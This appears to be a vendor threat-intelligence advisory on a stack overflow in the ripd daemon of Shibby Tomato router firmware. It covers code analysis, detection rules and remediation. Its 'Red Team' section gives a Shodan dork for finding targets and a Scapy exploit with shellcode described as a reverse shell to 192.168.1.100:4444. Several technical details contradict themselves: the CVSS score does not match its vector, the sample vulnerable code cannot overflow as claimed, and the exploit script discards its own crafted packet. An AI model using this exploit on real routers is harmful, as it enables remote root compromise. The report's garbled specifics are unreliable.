CVE-2026-10124

Executive Summary

CVE-2026-10124 is a critical stack-based buffer overflow vulnerability in the rip_zebra_read_ipv4 function within the ripd daemon of Shibby Tomato firmware (up to version 1.28). The vulnerability resides in the Zserv handler component, which processes routing information protocol (RIP) updates. An unauthenticated, remote attacker can trigger a stack-based buffer overflow by sending a specially crafted RIP packet, leading to arbitrary code execution with the privileges of the ripd process (typically root). The exploit has been publicly disclosed, and while the EPSS score is currently 0.0%, the public availability of exploit details significantly increases the risk. The Shibby Tomato project is superseded by FreshTomato, and no official patch will be released for this version.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It affects a firmware distribution for embedded devices (routers). The supply chain risk is that users may continue to use unsupported Shibby Tomato builds, or that downstream integrators may have embedded this vulnerable code into their own firmware images without proper maintenance.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required; a crafted RIP packet is sufficient.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full system compromise possible.
• Integrity Impact: High (I:H) – Attacker can modify system state.
• Availability Impact: High (A:H) – Denial of service or full control.

Threat Level: Critical. The combination of remote exploitability, low complexity, and public exploit code makes this a high-priority threat for any organization still using Shibby Tomato firmware.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the rip_zebra_read_ipv4 function of the ripd daemon. The ripd daemon implements the Routing Information Protocol (RIP) and communicates with the Zebra routing manager via the Zserv protocol.

Root Cause: The function rip_zebra_read_ipv4 does not properly validate the length of an incoming RIP route entry before copying it into a fixed-size stack buffer. When a malicious RIP update is received, the attacker can supply a route entry with a crafted prefix or nexthop field that exceeds the allocated buffer size. This overwrites the saved return address and other stack data.

Attack Flow:

1. The attacker sends a UDP packet to port 520 (RIP) or to the Zserv internal port (typically TCP 2601) with a crafted RIP route entry.
2. The ripd daemon parses the packet and calls rip_zebra_read_ipv4.
3. Inside this function, a struct in_addr or similar buffer is allocated on the stack.
4. The attacker-controlled data is copied into this buffer without bounds checking.
5. The overflow corrupts the stack, allowing the attacker to control the instruction pointer.
6. Upon return from the function, execution is redirected to attacker-controlled shellcode.

Affected Component: /usr/sbin/ripd – the RIP daemon.

Zserv Handler: The Zserv protocol is used for communication between routing daemons (like ripd) and the Zebra routing manager. The vulnerability is triggered when ripd processes a message from Zserv that contains an oversized IPv4 route.

Vulnerable vs. Patched Code

Vulnerable Code (Shibby Tomato 1.28):

// Simplified vulnerable function
void rip_zebra_read_ipv4(struct zserv *zs, struct rip_info *rinfo) {
    struct in_addr addr;
    // No length check on rinfo->prefix
    memcpy(&addr, rinfo->prefix, sizeof(rinfo->prefix)); // overflow if rinfo->prefix > 4 bytes
    // ... further processing
}

Patched Code (FreshTomato):

// Patched version with bounds checking
void rip_zebra_read_ipv4(struct zserv *zs, struct rip_info *rinfo) {
    struct in_addr addr;
    if (rinfo->prefix_len > sizeof(struct in_addr)) {
        // Log error and drop packet
        zlog_warn("Invalid prefix length from Zserv");
        return;
    }
    memcpy(&addr, rinfo->prefix, rinfo->prefix_len);
    // ... further processing
}

The patch adds a length check before the memcpy operation, ensuring that the copied data does not exceed the size of the destination buffer.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Shibby Tomato device (version 1.28 or earlier) with ripd running.
• Network access to the device (port 520/UDP or TCP 2601).
• A publicly available exploit (e.g., from Exploit-DB or a custom PoC).

Exploit Steps:

1. Reconnaissance: Scan for devices running Shibby Tomato (e.g., using Shodan dork product:"Tomato").
2. Craft Payload: Create a malicious RIP packet with an oversized route entry. The payload should include shellcode that spawns a reverse shell or adds a backdoor user.
3. Send Exploit: Use a tool like scapy or a custom Python script to send the crafted UDP packet to port 520 of the target.
4. Gain Access: Upon successful exploitation, the ripd daemon executes the shellcode, providing a shell with root privileges.

Example Exploit Snippet (Python with Scapy):

from scapy.all import *
import struct

# Shellcode (example: reverse shell to 192.168.1.100:4444)
shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xc0\xa8\x01\x64\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x51\x51\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xc9\x31\xd2\x31\xf6\x89\xe1\xcd\x80"

# Craft RIP packet with overflow
packet = IP(dst="target_ip")/UDP(sport=520, dport=520)/RIP(cmd=2, version=2, entries=[
    RIPEntry(afi=2, route_tag=0, addr="192.168.1.1", mask="255.255.255.0", next_hop="0.0.0.0", metric=1)
])
# Overflow the prefix field
packet[UDP].payload = b"A"*256 + shellcode

send(packet)

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual RIP packets with abnormally large route entries.
• Use network intrusion detection systems (NIDS) to alert on RIP packets with payloads exceeding standard sizes.
• Enable logging on ripd to capture any crashes or segmentation faults.

Honeypot:

• Deploy a low-interaction honeypot that mimics a Shibby Tomato router to capture exploit attempts.

Mitigation:

• Immediately migrate to FreshTomato firmware.
• If migration is not possible, block RIP traffic (UDP 520) at the network perimeter.
• Restrict access to the Zserv port (TCP 2601) to trusted management hosts only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • RIP packets with payloads larger than 512 bytes.
  • UDP packets to port 520 containing non-standard route entries (e.g., IP addresses with invalid formats).
  • TCP connections to port 2601 from unexpected sources.
• Host IOCs:
  • Crash logs from ripd (e.g., /var/log/messages containing "ripd[PID]: segfault").
  • Unexpected processes spawned by ripd (e.g., a reverse shell).
  • Modified system binaries or new user accounts.
• File IOCs:
  • Suspicious files in /tmp or /var/tmp created by the exploit.
  • Unusual entries in /etc/passwd or /etc/shadow.

Detection Engineering

YARA Rule

rule CVE_2026_10124_RIPD_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2026-10124 in Shibby Tomato ripd"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-10124"
    strings:
        $rip_header = { 02 02 }  // RIP response header
        $overflow_pattern = /AAAA{50,}/  // Pattern of repeated 'A's indicating overflow
    condition:
        $rip_header and $overflow_pattern
}

Sigma Rule

title: CVE-2026-10124 - Shibby Tomato ripd Buffer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic indicative of an exploit attempt against CVE-2026-10124
author: Valters IT
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 520
        protocol: udp
        payload_length: '>512'
    condition: selection
falsepositives:
    - Legitimate large RIP updates (rare)
level: high

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 520 (msg:"CVE-2026-10124 Shibby Tomato ripd Buffer Overflow Attempt"; content:"|02 02|"; depth:2; byte_test:2,>,512,2; reference:cve,2026-10124; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Migrate to FreshTomato: The Shibby Tomato project is superseded. Download and install the latest FreshTomato firmware from the official repository.
2. Network Segmentation: Isolate devices running legacy firmware on a separate VLAN with strict firewall rules.
3. Disable RIP: If RIP is not required, disable the ripd service entirely.
4. Access Control: Restrict access to the Zserv port (TCP 2601) to only trusted management IPs.

Long-Term Measures:

• Implement a firmware update policy for all network devices.
• Use network monitoring tools to detect anomalous RIP traffic.
• Conduct regular vulnerability scans of network infrastructure.

Workaround (if migration is not possible):

• Block all inbound UDP traffic to port 520 at the network perimeter.
• Use an application-layer firewall to inspect and drop oversized RIP packets.

Report generated by Valters IT DevSecOps & CTI Division